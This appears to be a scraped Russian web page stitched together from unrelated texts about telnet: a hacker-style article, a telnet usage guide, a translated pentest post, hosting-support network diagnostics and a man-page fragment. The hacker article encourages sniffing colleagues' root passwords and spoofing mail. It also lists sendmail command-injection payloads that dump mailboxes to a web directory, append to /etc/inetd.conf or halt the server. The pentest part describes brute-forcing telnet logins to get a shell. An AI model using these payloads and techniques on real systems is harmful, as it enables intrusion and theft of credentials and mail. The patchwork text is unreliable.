Vvmebel.com

Новости с мира ПК
0 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Linux telnet port

Учимся использовать Telnet #1

Часть первая. Хочу но не
могу.

Зачастую меня спрашивают ,
«Как типа телнет поюзать?» Гммм, ну начнем с
того что «телнет» в привычном понимании —
это всего лишь терминал ,который позволяет
несчастному юзеру стать клиентом
какого-нибудь сервиса завязанного на TCP/IP.
Соответственно, для начала нужно определиться
,куда нам нужно)) и нужно ли
нам это. Часто задаваемый вопрос номер два , а
где мне взять телнет клиента(терминал)? Ну
большинство начинающих странников (от слова
странный) даже не догадываются о том ,что телнет
клиент уже стоит на машине))) вызовите командную
строку дос и наберите там telnet (при условии ,что вы
уже подключены в сеть). Добрый windows порадует вас
на редкость кривым клиентом, не имеющим
возможности настройки типа терминала.Гораздо
более приятно пользоваться универсальным
клиентом SecureCRT (http://www.vandyke.com).Если
у тебя стоит Linux или BSD ,то ты уже достиг
могущества и тебе осталось в X`ах вызвать консоль
и набрать telnet.
Коннект производится так:
telnet hostname/IP port
Где hostname/IP — имя хоста/IP на который ты решил
повеситься, port — номер порта, через который ты
собрался иметь удаленную систему.

Часть Вторая. Безвозвратно
погибшее прошлое.

Итак для чего изачально был
нужен этот чудо терминал? Для коннекта на порт 23,
который использует UNIX telnetd ,то бишь телнетный
демон. В результате ,после ввода имени
пользователя и пароля ты вываливаешся прямо в shell
и можешь управлять(с правами назначенными тебе
админом) удаленной машиной так же , как будто ты
сидишь непосредственно за ней))). Но в сем сервисе
было столько багов , что умные люди его давно
пофиксили и перешли на SSH. Основная проблема в
том, что юзер, нюхающий траффик в локалке по 23
порту может без проблем прочитать админовские
login&password (никакого шифрования) сплошной plain text.
БРРРРРР. Но если ты ,находясь в локальной сети
своей организации, набрал telnet servername и увидел
нечто типа:
Linux RedHat 6.0
login
Значит ты теперь можешь смело включать сниффер
на 23 порт и ловить пакетики)) Ну за один рабочий
день ты наверняка получишь рутовый логин и
пароль)))

Часть Третья. SendMail
зачастую все еще дыряв.

Гммм. Ну нафига нам сперся 23
порт )))? Попробуем поиметь через 25, то бишь sendmail.
Выглядит это примерно так:

telnet hostname 25
Trying 194.68.13.231.
Connected to gwx3.host.ru.
Escape character is ‘^]’.
220 gwx3.host.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 1 Aug 2000 08:54:59 +0400
УРА ты повесился напрямую на 25 порт что дальше?
Дальше поздороваемся:
HELO domainname.com
(кстати имя домена может быть любое, но
желательно реально существующее к примеру YAHOO.COM)
далее пишем от кого письмо:
mail from : billgates@microsoft.com
— вот тебе и анонимность . )))
теперь кому:
rcpt to : username
username — имя юзера которому шлем мыло, root — есть
всегда)))))
ну теперь сама мессага:
data — жмем Enter
здесь печатаем текст .
для того чтобы закончить послание ставим .(точку)
и жмем Enter
quit — валим отсюда))

ВСЕ. мы только что отправили
вполне анонимное мыло без всяких там клиентов)))
Радость в том ,что , зачастую, в sendmail есть
следующие баги:
1. mail from : sendername|any_command_as_U_want — возможность
выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want — возможность
выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename — возможность
направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно
прислал письмо где был следующий вопрос:
«А что мне это дает?» Ну что я могу сказать
.
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt — получаем
список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt
получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf — добавляем
произвольные команды в конец инет демона)).
/sbin/halt — паркуем сервак))) и т.д.

Во втором случае . )))
Ну попробуй подумать, пиши что хочешь и куда
хочешь))) Можно дописать произвольные команды
скажем в /etc/inetd.conf . все зависит от твоей
фантазии.

Часть четвертая,
прикладная пауза.

Как пользоваться telnet

Telnet — это сетевая утилита, которая позволяет соединиться с удаленным портом любого компьютера и установить интерактивный канал связи, например, для передачи команд или получения информации. Можно сказать, что это универсальный браузер в терминале, который умеет работать со множеством сетевых протоколов.

Эта утилита очень часто использовалась раньше, для удаленного управления компьютером с Linux, но потом ей на замену пришел защищенный протокол SSH. Но telnet все еще используется, например, для тестирования сети, проверки портов, а также для взаимодействия с различными IoT устройствами и роутерами. В этой статье мы рассмотрим что такое telnet, а также как пользоваться telnet для решения своих задач.

Что такое Telnet?

Как я уже сказал, эта утилита предназначена для создания интерактивного соединения между удаленными компьютерами. Она работает по протоколу TELNET, но этот протокол поддерживается многими сервисами, поэтому ее можно использовать для управления ими. Протокол работает на основе TCP, и позволяет передавать обычные строковые команды на другое устройство. Он может использоваться не только для ручного управления но и для взаимодействия между процессами.

Для работы с этим протоколом мы будем использовать утилиту telnet, ею очень просто пользоваться. Давайте рассмотрим синтаксис telnet:

$ telnet опции хост порт

Хост — это домен удаленного компьютера, к которому следует подключиться, а порт — порт на этом компьютере. А теперь давайте рассмотрим основные опции:

  • -4 — принудительно использовать адреса ipv4;
  • -6 — принудительно использовать адреса ipv6;
  • -8 — использовать 8-битную кодировку, например, Unicode;
  • -E — отключить поддержку Escape последовательностей;
  • -a — автоматический вход, берет имя пользователя из переменной окружения USER;
  • -b — использовать локальный сокет;
  • -d — включить режим отладки;
  • — режим эмуляции rlogin;
  • -e — задать символ начала Escape последовательности;
  • -l — пользователь для авторизации на удаленной машине.

Это все, что касается команды telnet для установки соединения. Но соединение с удаленным хостом, это только полдела. После установки подключения telnet может работать в двух режимах:

  • Построчный — это предпочтительный режим, здесь строка текста редактируется на локальном компьютере и отправляется только тогда, когда она будет полностью готова. На такая возможность есть не всегда и не у всех сервисов;
  • Посимвольный — все набираемые вами символы отправляются на удаленный сервер. Тут будет сложно что-либо исправить, если вы допустили ошибку, потому что Backspace тоже будет отправляться в виде символа и стрелки движения тоже.
Читать еще:  Самые легкие дистрибутивы linux

Использование telnet заключается в передаче специальных команд. У каждого сервиса свои команды, но у протокола есть свои команды telnet, которые можно применять в консоли telnet.

  • CLOSE — закрыть соединение с сервером;
  • ENCRYPT — шифровать все передаваемые данные;
  • LOGOUT — выйти и закрыть соединение;
  • MODE — переключить режим, со строчного на символьный или с символьного на строчный;
  • STATUS — посмотреть статус соединения;
  • SEND — отправить один из специальных символов telnet;
  • SET — установить значение параметра;
  • OPEN — установить подключение через telnet с удаленным узлом;
  • DISPLAY — отобразить используемые спецсимволы;
  • SLC — изменить используемые спецсимволы.

Мы не будем рассматривать все команды, поскольку они вам вряд ли понадобятся, а если и понадобятся, то вы легко сможете их найти в официальной документации.

Как пользоваться telnet?

Дальше мы рассмотрим как использовать telnet для решения ваших задач. Обычно, утилита уже установлена в большинстве систем, но если это не так, то вы можете установить telnet из официальных репозиториев, например, в Ubuntu:

sudo apt install telnet

Теперь перейдем к применению утилиты. Изначально она использовалась для удаленного управления компьютером, но поскольку потом был разработан более безопасный протокол SSH, использовать ее перестали.

1. Доступность сервера

Утилита все еще может быть полезной при поверке доступности узла, для этого просто передайте ей ip адрес или имя хоста:

Для этого не обязательно применять telnet, есть ping.

2. Проверка порта

C помощью telnet мы можем проверить доступность порта на узле, а это уже может быть очень полезным. Чтобы проверить порт telnet выполните:

telnet localhost 123
$ telnet localhost 22

В первом случае мы видим, что соединение никто не принимает, во втором же выводится сообщение об успешном подключении и приветствие SSH сервера.

3. Отладка

Чтобы включить режим отладки и выводить более подробную информацию во время работы используйте опцию -d во время подключения:

sudo telnet -d localhost 22

4. Консоль telnet

Использование консоли telnet тоже важный момент в разборе как пользоваться telnet. В основном режиме вы можете выполнять команды, на удаленном сервере, если же вы хотите адресовать команду именно telnet, например, для настройки ее работы, необходимо использовать спецсимвол для открытия консоли, обычно утилита сразу говорит вам что это за символ, например, по умолчанию используется «^[«:

Для его активации вам нужно нажать сочетание клавиш Ctrl+[, затем вы уведите приглашение ввода telnet.

Чтобы посмотреть все доступные команды, вы можете набрать ?. Например, вы можете посмотреть статус подключения:

Здесь есть и другие интересные возможности. Такие вещи можно проделывать при любом подключении с помощью утилиты telnet.

5. Посмотреть сайт telnet

Один из распространенных способов использования telnet — это тестирование сайта из консоли. Да, красивую веб-страницу вы не получите, но можете вручную собрать запросы и видеть все переданные сервером данные.

telnet opennet.ru 80

Затем наберите команду веб-серверу:

Веб сервер вернет полностью страницу, а также заголовки, которые необходимы для ее отображения браузером.

6. Удаленное управление telnet

Настоятельно не рекомендуется использовать небезопасный telnet для удаленного управления, потому что все команды и пароли могут быть прослушаны сторонним пользователем. Но иногда, например, для роутеров telnet все же используется для удаленного управления. Все работает точно так же, как и для других подключений, только нужно использовать порт 23, а на удаленном компьютере должен быть установлен telnet-server:

telnet localhost 23

Тут порт можно даже не указывать, потому что по умолчанию будет использоваться именно 23. Далее, вам нужно ввести логин и пароль, а затем вы сможете выполнять команды в удаленной системе.

Выводы

В этой статье мы рассмотрели примеры использования telnet, а также что представляет из себя эта утилита, хотя она уже не используется по своему основному назначению, но до сих пор может быть полезной многим пользователям и системным администраторам. Если у вас остались вопросы, спрашивайте в комментариях!

Hacking Articles

Raj Chandel’s Blog

Penetration Testing on Telnet (Port 23)

Welcome to Internal penetration testing on telnet server where you will learn about telnet installation, configuration, enumeration and attack, system security and precaution.

From Wikipedia

Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal connection. This protocol is used to establish a connection to Transmission Control Protocol (TCP) port number 23, where a Telnet server application (telnetd) is listening.

Let’s start.

Requirements

Telnet Server: Ubuntu

Attacker system: Kali Linux

Telnet Installation & Configuration in 3 steps

Installing telnet server is very simple, it will get activated by following three steps:

Open the terminal in Ubuntu and type given below command with root access.

Open ineted.conf file adds given below statement inside it, then save it.

Now open xibetd.conf and add the following line to configure the settings and save it.

gedit /etc/xinetd.conf

Now execute the following command to restart the service.

Now you can ensure whether telnet service is getting activated or not and for this we have scanned our own system with nmap.

If service is activated in the targeted server then nmap show open STATE for port 23.

SSH Banner grabbing through telnet

Telnet plays an important role in the banner grabbing of other service running on the target system. Open the terminal in Kali Linux and type following command for finding the version of SSH service running on the target machine.

From the given image, you can observe that it has successfully shown the SSH version “2.0-openSSH_6.6.1p1” has been installed on the target machine.

Читать еще:  Сервер 1с на linux

SMTP Banner grabbing through telnet

Similarly, we can also find out version and valid user of SMTP server using telnet. Execute the following command and find out its version and valid user.

From the given image you can observe that it has successfully shown “220 mail.ignite.lab ESMTP Postfix” has been installed on the target machine.

You can guess for valid user account through the following command and if you receive response code 550 it means unknown user account:

If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.

But if you received a message code 550 it means invalid user account as shown in given image

Telnet Banner Grabbing through Metasploit

An attacker always performs enumeration for finding important information such as software version which is known as Banner Grabbing and then identifies its state of vulnerability against any exploit.

Open the terminal in your Kali Linux and Load Metasploit framework; now type the following command to scan for TELNET version.

From the given image you can read the installed version of TELNET on the target’s system.

Brute Force Attack

An attacker always tries to make a brute force attack for stealing credential for unauthorized access.

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Now type the following command to Brute force TELNET login:

From given image you can observe that our TELNET server is not secure against brute force attack because it is showing a matching combination of username: raj and password: 123 for login simultaneously it has opened victims command shell as session 1.

From the given image you can see now we have unauthorized access on the victim’s system as [email protected] and executed ifconfig to verify the network interface.

We can also convert command shell into the meterpreter shell using the following command

From the given image you can see that now we are having two sessions; 1 st for command shell session and 2 nd for the meterpreter session.

Stealing credential through sniffing

Telnet, by default, does not encrypt any data sent over the connection (including passwords), and so it is often feasible to eavesdrop on the communications and use the password later for malicious purposes; anybody who has access the network between the two hosts where Telnet is being used can intercept the packets passing between source and destination and obtain login, password and data information.

From the given image, you can observe that here the client is login into telnet server by submitting valid credential on the other hand attacker is sniffing network packet using Wireshark or other tools.

Here you can notice Wireshark had captured telnet information by sniffing the network. It follows a similar protocol as FTP where telnet users may authenticate themselves with a clear-text sign-in protocol for username and password. As result attacker can easily sniff login credential.

From given below image you can read the username: raj and password: 123 moreover complete information traveling through packet between source to destination.

Since Telnet implementations do not support Transport Layer Security (TLS) security and Simple Authentication and Security Layer (SASL) authentication extensions. Therefore in favor of that the Secure Shell (SSH) protocol, first released in 1995 in replace of Telnet.

Secure Telnet through Port forwarding

In order to secure telnet server, admin can forward port from default to specific port to run the service. Open services file using the following command for making changes:

Диагностика и логи

Как проверить, открыт ли порт, командой telnet?

Важно: в Windows Vista и Windows 7/8/10 утилита telnet по умолчанию отключена. Вы можете установить утилиту по инструкции.

Чтобы проверить порт командой telnet:

В открывшемся окне введите команду: telnet имя_сервера номер_порта или telnet IP_сервера номер_порта . Например, чтобы проверить, открыт ли порт, по которому работает SMTP, нужно ввести команду: telnet mysite.ru 25

  • Если команда вернет ошибку, значит, порт закрыт:
  • Если же на экране появится приглашение сервера (или окно станет полностью пустым), порт открыт.

Как пользоваться командами ping и tracert?

  • Ping — это утилита, с помощью которой можно проверить доступность сервера с компьютера.
  • Tracert — это утилита, с помощью которой можно отследить путь запроса к серверу, а также проблемы, связанные с доступностью удаленного сервера.

Выберите вашу операционную систему:

В окне терминала введите нужную команду.

  • Как пользоваться командой ping: ping имя_сайта или ping IP_сервера .
  • Как запустить tracert: tracert имя_сайта или tracert IP_сервера .

Если у вас кириллический домен

Кириллические домены необходимо вводить в формате punycode. Для перевода домена в punycode воспользуйтесь сервисом Whois. Введите имя вашего домена и нажмите Punycode-конвертация, скопируйте имя домена в punycode и вставьте его в окно терминала.
Например: ping xn--h1alffa9f.xn--p1ai

  • в Unity (Ubuntu): «Главное меню» — в поисковой строке введите слово «Терминал». Либо просто нажмите комбинацию клавиш: Ctrl+Alt+T;
  • в Xfce (Xubuntu): «Главное меню» — «Приложения» — «Система» — «Терминал»;
  • в KDE (Kubuntu): «Главное меню» — «Приложения» — «Система» — «Терминал».

В открывшемся окне терминала введите нужную команду:

  • Как пользоваться ping: ping имя_сайта или ping IP_сервера .
  • Как пользоваться tracert tracert: traceroute имя_сайта или traceroute IP_сервера .

Если у вас кириллический домен

Кириллические домены необходимо вводить в формате punycode. Для перевода домена в punycode воспользуйтесь сервисом Whois. Введите имя вашего домена и нажмите Punycode-конвертация, скопируйте имя домена в punycode и вставьте его в окно терминала.
Например: ping xn--h1alffa9f.xn--p1ai

Читать еще:  Создание папки linux

В открывшейся программе, выберите нужную вкладку:

На вкладке Ping введите имя домена или IP-адрес и нажмите Ping:

На вкладке Tracertout введите имя домена или IP-адрес и нажмите Trace:

Результатом работы каждой из этих команд будет несколько строк в окне терминала. Если вам нужно прислать результат в техническую поддержку, просто скопируйте полученный результат или пришлите скриншот окна с результатом исполнения. Отправьте заявку в службу поддержки.

Диагностика сети при помощи MTR

MTR — программа, которая сочетает функционал команд для диагностики сети traceroute и ping в одном инструменте. Диагностика сети WinMTR позволяет проверить соединение между локальной системой и указанным хостом (IP или домен). Сначала MTR устанавливает адрес каждого сетевого перехода (мосты, маршрутизаторы, шлюзы и т.д.) между хостами, затем он пингует (отправляет запросы ICMP, ECHO) каждому из них, чтобы определить качество отклика на каждой машине.

Выберите вашу операционную систему:

Скачайте дистрибутив WinMTR. Загрузка начнется автоматически.

Кликните по архиву правой кнопкой мыши и выберите пункт Извлечь все:

Кликните правой кнопкой по иконке WinMTR и запустите программу от имени администратора:

Нажмите Options и в настройках отключите пункт «Resolve names»:

В поле «Host» введите ваше доменное имя или IP-адрес. Нажмите Start:

Когда число отправленных пакетов (колонка «Sent») будет более 200, нажмите Stop:

Нажмите Export TEXT и сохраните результат работы программы:

На Linux утилита MTR установлена по умолчанию. Если MTR не установлена, воспользуйтесь командами:

  • для Ubuntu/Debian: sudo apt install mtr
  • для CentOS: sudo yum install mtr
  • для Fedora: sudo dnf install mtr
  • в Unity (Ubuntu): «Главное меню» — в поисковой строке введите слово «Терминал». Либо просто нажмите комбинацию клавиш: Ctrl+Alt+T;
  • в Xfce (Xubuntu): «Главное меню» — «Приложения» — «Система» — «Терминал»;
  • в KDE (Kubuntu): «Главное меню» — «Приложения» — «Система» — «Терминал».

Дождитесь окончания выполнения запроса. В окне терминала вы увидите результат работы утилиты MTR:

По умолчанию в MacOS MTR не присутствует. Но вы можете установить её вручную:

Откройте Терминал и выполните команду: sudo /usr/local/sbin/mtr -r example.com ,

где example.com — ваш домен.

При необходимости отправьте результат работы программы в рамках заявки в техническую поддержку. В сообщении укажите ваш внешний IP-адрес. Узнать IP-адрес можно на сайте REG.RU.

Как просмотреть журналы сайтов?

Журналы сайтов расположены в корневой директории хостинга в папке logs. Логи хостинга можно просмотреть как через хостинг-панели управления, так и по FTP и SSH.

telnet(1)

НАЗВАНИЕ

telnet — пользовательский интерфейс к удаленной системе, использующий протокол TELNET

СИНТАКСИС

ОПИСАНИЕ

Команда telnet используется для связи с другим хостом по протоколу TELNET.

Файлы

Переменные среды

Команда telnet использует как минимум следующие переменные среды: HOME, SHELL, USER, DISPLAY и TERM. Другие переменные среды можно передать на удаленный компьютер с помощью опции TELNET ENVIRON.

ИСПОЛЬЗОВАНИЕ

Если команда telnet вызвана без аргумента хоста, она входит в командный режим, что показывает приглашение telnet>. В этом режиме telnet воспринимает и выполняет перечисленные ниже команды. Если telnet вызвана с аргументами, она выполнит команду open (см. описание команд telnet ниже) с этими аргументами.

Опции

telnet воспринимает следующие опции:

«), если другой символ не указан опцией -e.

После установки (открытия) соединения, TELNET переходит в «режим ввода». TELNET попытается установить опцию LINEMODE (построчный режим). Если это не удастся сделать, TELNET перейдет в один из двух режимов ввода: либо в «посимвольный» режим («character at a time» mode), либо в «старый построчный» режим («old line by line» mode), в зависимости от того, какой из них поддерживается удаленной системой.

Когда опция LINEMODE установлена, обработка символов будет выполняться на локальной системе, но под управлением удаленной системы. Когда редактирование ввода или отображение символов необходимо отключить, удаленная система передаст эту информацию. Удаленная система также передаст изменения любых специальных символов, произошедшие на удаленной системе, так, чтобы они могли быть выполнены на локальной системе.

В «посимвольном» режиме основная часть введенного текста будет незамедлительно посылаться на удаленный хост для обработки.

В «старом построчном» режиме текст будет отображаться локально, но (обычно) только законченные строки будут посылаться на удаленный хост. Для включения и отключения режима локального отображения можно использовать «локальный символ отображения» («local echo character», первоначально — «^E«), его имеет смысл использовать только для ввода паролей, чтобы пароль не отображался.

Если опция LINEMODE установлена или переключатель localchars имеет значение TRUE (это значение устанавливается по умолчанию для «старого построчного» режима; см. ниже), пользовательские символы quit, intr и flush будут перехватываться локально и посылаться как последовательности протокола TELNET на удаленную машину. Если когда-либо ранее была установлена опция LINEMODE, то вводимые пользователем символы susp и eof тоже будут посылаться как последовательности протокола TELNET; quit будет посылаться как TELNET ABORT, а не как BREAK. Имеются опции (см. переключатели autoflush и autosynch ниже), при установке которых данное действие подавляет весь дальнейший вывод на терминал (пока удаленный хост не подтвердит прием последовательности TELNET) и подавляет предыдущий ввод с терминала (в случае quit и intr).

После соединения с удаленным хостом в командный режим telnet можно войти, введя «управляющий символ» TELNET (изначально — «^[«).

При работе в командном режиме поддерживаются обычные соглашения по редактированию для терминала.

Команды

Поддерживаются следующие команды TELNET, причем можно набирать только начальную часть команды, достаточную для ее однозначного определения (это же истинно и для аргументов команд mode, set, toggle, unset, slc, environ и display).

close Закрывает сеанс TELNET и возвращается в командный режим. display аргумент . Показывает значения всех или некоторых установок и переключателей. mode тип В зависимости от состояния сеанса TELNET, аргумент тип может иметь одно из представленных ниже значений. У удаленного хоста будет запрошено разрешение на переход в требуемый режим. Если удаленный хост способен перейти в этот режим, он перейдет в него.

Ссылка на основную публикацию
Adblock
detector